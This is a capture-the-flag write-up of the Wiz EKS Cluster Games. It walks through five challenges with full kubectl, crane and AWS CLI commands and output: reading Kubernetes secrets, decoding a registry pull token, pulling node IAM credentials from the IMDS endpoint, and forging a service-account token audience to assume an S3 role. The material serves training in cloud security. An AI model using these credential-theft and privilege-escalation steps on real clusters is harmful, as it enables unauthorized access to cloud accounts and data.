AWS EKS Cluster Games

card This is a WriteUp of the WIZ “EKS Cluster Games”. The games are a cloud security CTF about identifiying and exploiting common AWS EKS security issues in five different tasks, with a given hint and access to a low-privileged AWS EKS pod via a web terminal.

Challenge 1 - Secret Seeker

The given hint:

Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?

The given permissions:

{
    "secrets": [
        "get",
        "list"
    ]
}

I started by listing all of the secrets.

# kubectl get secrets

NAME         TYPE     DATA   AGE
log-rotate   Opaque   1      66d

There is one secret log-rotate, we can see its content by outputting it in the YAML format.

# kubectl get secrets log-rotate -o yaml

apiVersion: v1
data:
  flag: d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==
kind: Secret
metadata:
  creationTimestamp: "2023-11-01T13:02:08Z"
  name: log-rotate
  namespace: challenge1
  resourceVersion: "890951"
  uid: 03f6372c-b728-4c5b-ad28-70d5af8d387c
type: Opaque

The flag can then be decoded using the base64 CLI.

$ echo "d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==" | base64 -d

wiz_eks_challenge{omg_over_privileged_secret_access}

Challenge 2 - Registry Hunt

The given hint:

A thing we learned during our research: always check the container registries. For your convenience, the crane utility is already pre-installed on the machine.

The given permissions:

{
    "secrets": [
        "get"
    ],
    "pods": [
        "list",
        "get"
    ]
}

I started by checking if there are any pods running.

# kubectl get pods

NAME                    READY   STATUS    RESTARTS      AGE
database-pod-2c9b3a4e   1/1     Running   1 (29d ago)   66d

To get more details on the database-pod-2c9b3a4e pod, I again looked at it in the YAML formatting.

# kubectl get pods database-pod-2c9b3a4e -o yaml

apiVersion: v1
kind: Pod
metadata:
  annotations:
    kubernetes.io/psp: eks.privileged
    pulumi.com/autonamed: "true"
  creationTimestamp: "2023-11-01T13:32:05Z"
  name: database-pod-2c9b3a4e
  namespace: challenge2
  resourceVersion: "12166896"
  uid: 57fe7d43-5eb3-4554-98da-47340d94b4a6
spec:
  containers:
  - image: eksclustergames/base_ext_image
    imagePullPolicy: Always
    name: my-container
    resources: {}
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-cq4m2
      readOnly: true
  dnsPolicy: ClusterFirst
  enableServiceLinks: true
  imagePullSecrets:
  - name: registry-pull-secrets-780bab1d
.
.
.
  - containerID: containerd://8010fe76a2bcad0d49b7d810efd7afdecdf00815a9f5197b651b26ddc5de1eb0
    image: docker.io/eksclustergames/base_ext_image:latest
    imageID: docker.io/eksclustergames/
.
.
.

Here I saw the image used is docker.io/eksclustergames/base_ext_image:latest and there exists a secret registry-pull-secrets-780bab1d, which is used to pull the image. Looking at the secret revealed the credentials used to authenticate with docker.io.

# kubectl get secrets registry-pull-secrets-780bab1d -o yaml

apiVersion: v1
data:
  .dockerconfigjson: eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19
kind: Secret
metadata:
  annotations:
    pulumi.com/autonamed: "true"
  creationTimestamp: "2023-11-01T13:31:29Z"
  name: registry-pull-secrets-780bab1d
  namespace: challenge2
  resourceVersion: "897340"
  uid: 1348531e-57ff-42df-b074-d9ecd566e18b
type: kubernetes.io/dockerconfigjson
$ echo "eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19" | base64 -d

{"auths": {"index.docker.io/v1/": {"auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="}}}
$ echo "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw==" | base64 -d

eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo

We can now use these credentials to authenticate ourself using crane.

# crane auth login docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo

2024/01/06 14:08:26 logged in via /home/user/.docker/config.json

Now we can check the content of the image, which revealed the flag.

# crane config docker.io/eksclustergames/base_ext_image:latest

{"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-01T13:32:18.920734382Z","history":[{"created":"2023-07-18T23:19:33.538571854Z","created_by":"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "},{"created":"2023-07-18T23:19:33.655005962Z","created_by":"/bin/sh -c #(nop)  CMD [\"sh\"]","empty_layer":true},{"created":"2023-11-01T13:32:18.920734382Z","created_by":"RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_the_exisitense_of_misconfigured_imagepullsecret}' \u003e /flag.txt # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2023-11-01T13:32:18.920734382Z","created_by":"CMD [\"/bin/sleep\" \"3133337\"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f","sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432"]}}

We successfully used this technique in both of our engagements with Alibaba Cloud and IBM Cloud to obtain internal container images and to prove unauthorized access to cross-tenant data.

Challenge 3 - Image Inquisition

The given hint:

A pod’s image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret. Remember: You are running inside a compromised EKS pod. For your convenience, the crane utility is already pre-installed on the machine.

The given permissions:

{
    "pods": [
        "list",
        "get"
    ]
}

We can only look at the pods, so lets do that.

# kubectl get pods

NAME                      READY   STATUS    RESTARTS      AGE
accounting-pod-876647f8   1/1     Running   1 (30d ago)   67d
# kubectl get pods accounting-pod-876647f8 -o yaml

apiVersion: v1
kind: Pod
metadata:
  annotations:
    kubernetes.io/psp: eks.privileged
    pulumi.com/autonamed: "true"
  creationTimestamp: "2023-11-01T13:32:10Z"
  name: accounting-pod-876647f8
  namespace: challenge3
  resourceVersion: "12166911"
  uid: dd2256ae-26ca-4b94-a4bf-4ac1768a54e2
spec:
  containers:
  - image: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
    imagePullPolicy: IfNotPresent
    name: accounting-container
.
.
.

We see that the image is pulled from the AWS ECR 88655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c, but we don’t have an ImagePullSecret this time. This means, that the credentials need to be somewhere else. I was stuck at this point, so I needed another hint:

Try contacting the IMDS to get the ECR credentials.

I researched what IMDS is and learned, that it stands for Instance Metadata Service. It is a system that provides EC2 instances with necessary metadata like credentials. Accessing it, can be done on the instance through a link-local address: http://169.254.169.254/latest/meta-data/

# curl http://169.254.169.254/latest/meta-data/

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
reservation-id
security-groups
services/

Under iam I was able to find AWS credentials.

# curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole

{"AccessKeyId":"ASIA2AVYNEVM7EB4BDUN","Expiration":"2024-01-05 11:08:43+00:00","SecretAccessKey":"5mCDntpA21aSiOSUUjQ7Am/7uyaYxJF6Eslp5c+k","SessionToken":"LONG_SESSION_TOKEN"}

I set the three environment variables AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and AWS_SESSION_TOKEN to the given credentials on the web shell.

# export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM7EB4BDUN
# export AWS_SECRET_ACCESS_KEY=5mCDntpA21aSiOSUUjQ7Am/7uyaYxJF6Eslp5c+k
# export AWS_SESSION_TOKEN=LONG_SESSION_TOKEN

With this I now was able to access the container registry to look at the images.

# aws ecr list-images --repository-name central_repo-aaf4a7c

{
    "imageIds": [
        {
            "imageDigest": "sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01",
            "imageTag": "374f28d8-container"
        }
    ]
}

To be able look at the image using crane we have to get a login password. This can be done using aws ecr get-login-password, the output thereof being passed directly to the crane login command.

# aws ecr get-login-password | crane auth login -u AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com

2024/01/05 10:29:03 logged in via /home/user/.docker/config.json

Now we can look at the image used again and see the flag in the image layers.

# crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01

{"architecture":"amd64","config":{"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],"Cmd":["/bin/sleep","3133337"],"ArgsEscaped":true,"OnBuild":null},"created":"2023-11-01T13:32:07.782534085Z","history":[{"created":"2023-07-18T23:19:33.538571854Z","created_by":"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / "},{"created":"2023-07-18T23:19:33.655005962Z","created_by":"/bin/sh -c #(nop)  CMD [\"sh\"]","empty_layer":true},{"created":"2023-11-01T13:32:07.782534085Z","created_by":"RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit","comment":"buildkit.dockerfile.v0"},{"created":"2023-11-01T13:32:07.782534085Z","created_by":"CMD [\"/bin/sleep\" \"3133337\"]","comment":"buildkit.dockerfile.v0","empty_layer":true}],"os":"linux","rootfs":{"type":"layers","diff_ids":["sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f","sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"]}}

Challenge 4 - Pod Break

The given hint:

You’re inside a vulnerable pod on an EKS cluster. Your pod’s service-account has no permissions. Can you navigate your way to access the EKS Node’s privileged service-account?

The given permissions:

{}

We don’t have any Kubernetes permissions, however from the last challenge, we have access to the AWS CLI. At first I checked the IAM identity.

# aws sts get-caller-identity

{
    "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}

Here we can see the name of the cluster eks-challenge-cluster. Again I was pretty stuck and had to consult the hints.

EKS supports IAM authentication. Nodes connect to the cluster the same way users do. Check out the documentation.

I started searching through the aws eks CLI documentation and saw the get-token command. This command returns an access token, which can be used for authentication with an EKS cluster. So I tried doing that.

# aws eks get-token --cluster-name eks-challenge-cluster

{
    "kind": "ExecCredential",
    "apiVersion": "client.authentication.k8s.io/v1beta1",
    "spec": {},
    "status": {
        "expirationTimestamp": "2024-01-06T10:34:42Z",
        "token": "VERY_LONG_TOKEN"
    }
}

I first tried to create a kubeconfig using the aws CLI, this however failed.

# aws eks update-kubeconfig --name eks-challenge-cluster

An error occurred (AccessDeniedException) when calling the DescribeCluster operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: eks:DescribeCluster on resource: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster

Then I learned, that kubectl has a global parameter --token, which I could append to any command to authenticate as that user. I could now check the privileges of the token generated.

# kubectl auth can-i --list --token=$TOKEN

warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs   Resource Names     Verbs
serviceaccounts/token                           []                  [debug-sa]         [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []                 [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []                 [create]
pods                                            []                  []                 [get list]
secrets                                         []                  []                 [get list]
serviceaccounts                                 []                  []                 [get list]
.
.
.

Now I could check pods and secrets, where I found the flag in the end.

# kubectl get pods --token=$TOKEN

No resources found in challenge4 namespace.
# kubectl get secrets --token=$TOKEN

NAME        TYPE     DATA   AGE
node-flag   Opaque   1      65d
# kubectl get secrets node-flag -o yaml --token=$TOKEN

apiVersion: v1
data:
  flag: d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3JlYWxfcHJvX2Nhbl9uYXZpZ2F0ZV9JTURTX3RvX0VLU19jb25ncmF0c30=
kind: Secret
metadata:
  creationTimestamp: "2023-11-01T12:27:57Z"
  name: node-flag
  namespace: challenge4
  resourceVersion: "883574"
  uid: 26461a29-ec72-40e1-adc7-99128ce664f7
type: Opaque
$ echo "d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3JlYWxfcHJvX2Nhbl9uYXZpZ2F0ZV9JTURTX3RvX0VLU19jb25ncmF0c30=" | base64 -d

wiz_eks_challenge{only_a_real_pro_can_navigate_IMDS_to_EKS_congrats}

Fun fact: The misconfiguration highlighted in this challenge is a common occurrence, and the same technique can be applied to any EKS cluster that doesn’t enforce IMDSv2 hop limit.

Challenge 5 - Container Secrets Infrastructure

The given hint:

You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?

The given IAM policy:

{
    "Policy": {
        "Statement": [
            {
                "Action": [
                    "s3:GetObject",
                    "s3:ListBucket"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
                ]
            }
        ],
        "Version": "2012-10-17"
    }
}

The given Trust policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
                }
            }
        }
    ]
}

The given permissions:

{
    "secrets": [
        "get",
        "list"
    ],
    "serviceaccounts": [
        "get",
        "list"
    ],
    "pods": [
        "get",
        "list"
    ],
    "serviceaccounts/token": [
        "create"
    ]
}

The Trust policy shows us, that we may assume an AWS role using a web identity provided by EKS. Using that role we then can access the bucket challenge-flag-bucket-3ff1ae2

First I checked all the resources I had access to.

# kubectl get pods

No resources found in challenge5 namespace.
# kubectl get secrets

No resources found in challenge5 namespace.
# kubectl get serviceaccounts

NAME          SECRETS   AGE
debug-sa      0         66d
default       0         66d
s3access-sa   0         66d

Looking at the serviceaccounts in YAML format, we can see more information, like the AWS ARN role added to the s3-access-sa serviceaccount.

# kubectl get serviceaccounts -o yaml

apiVersion: v1
items:
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      description: This is a dummy service account with empty policy attached
      eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e
    creationTimestamp: "2023-10-31T20:07:37Z"
    name: debug-sa
    namespace: challenge5
    resourceVersion: "671929"
    uid: 6cb6024a-c4da-47a9-9050-59c8c7079904
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2023-10-31T20:07:11Z"
    name: default
    namespace: challenge5
    resourceVersion: "671804"
    uid: 77bd3db6-3642-40d5-b8c1-14fa1b0cba8c
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role
    creationTimestamp: "2023-10-31T20:07:34Z"
    name: s3access-sa
    namespace: challenge5
    resourceVersion: "671916"
    uid: 86e44c49-b05a-4ebe-800b-45183a6ebbda
kind: List
metadata:
  resourceVersion: ""

I tried to create a token for the s3-access-sa serviceaccount, this however failed. Creating one for debug-sa worked.

# kubectl create token s3access-sa

error: failed to create token: serviceaccounts "s3access-sa" is forbidden: User "system:node:challenge:ip-192-168-21-50.us-west-1.compute.internal" cannot create resource "serviceaccounts/token" in API group "" in the namespace "challenge5"
# kubectl create token debug-sa

VERY_LONG_ACCESS_TOKEN

I then tried to assume the role of eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role.

# aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name s3access-sa --web-identity-token VERY_LONG_ACCESS_TOKEN

An error occurred (InvalidIdentityToken) when calling the AssumeRoleWithWebIdentity operation: Incorrect token audience

Since the token is in the JWT format, I checked its content and saw that the field audience was set to https://kubernetes.default.svc.

aud1

The Trust policy has a condition that states that the aud field must be equal to sts.amazonaws.com. This can be done during the token creation process using the --audience parameter.

# kubectl create token debug-sa --audience "sts.amazonaws.com"

ANOTHER_VERY_LONG_ACCESS_TOKEN

aud2

With this token it was now possible to assume the role.

# aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name s3access-sa --web-identity-token ANOTHER_VERY_LONG_ACCESS_TOKEN

{
    "Credentials": {
        "AccessKeyId": "ASIA2AVYNEVMQECFBHEU",
        "SecretAccessKey": "vFsK53qeajym73u9/CVUmYmKcker+3kM9xKdNtTL",
        "SessionToken": "LONG_SESSION_TOKEN",
        "Expiration": "2024-01-06T12:24:12+00:00"
    },
    "SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:s3access-sa",
        "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/s3access-sa"
    },
    "Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
    "Audience": "sts.amazonaws.com"
}

I then set the environment variables again and checked the caller identity, which showed me, that I now had access to the s3access-sa role.

# aws sts get-caller-identity

{
    "UserId": "AROA2AVYNEVMZEZ2AFVYI:s3access-sa",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/s3access-sa"
}

Now I could access the bucket and the flag contained in it.

# aws s3 ls s3://challenge-flag-bucket-3ff1ae2
2023-11-01 12:27:55         72 flag
# aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag ~/flag
download: s3://challenge-flag-bucket-3ff1ae2/flag to ./flag
# cat flag 
wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}

Reflection

cert

At the end I got a nice certificate. This challenge was very hard for me, especially the last two. I have worked with both AWS and Kubernetes before, but not with the EKS service. I learned quite a few things about IAM policies and the IMDS. But to get to the end I still had to consult a lot of help. Very fun overall though!

Updated: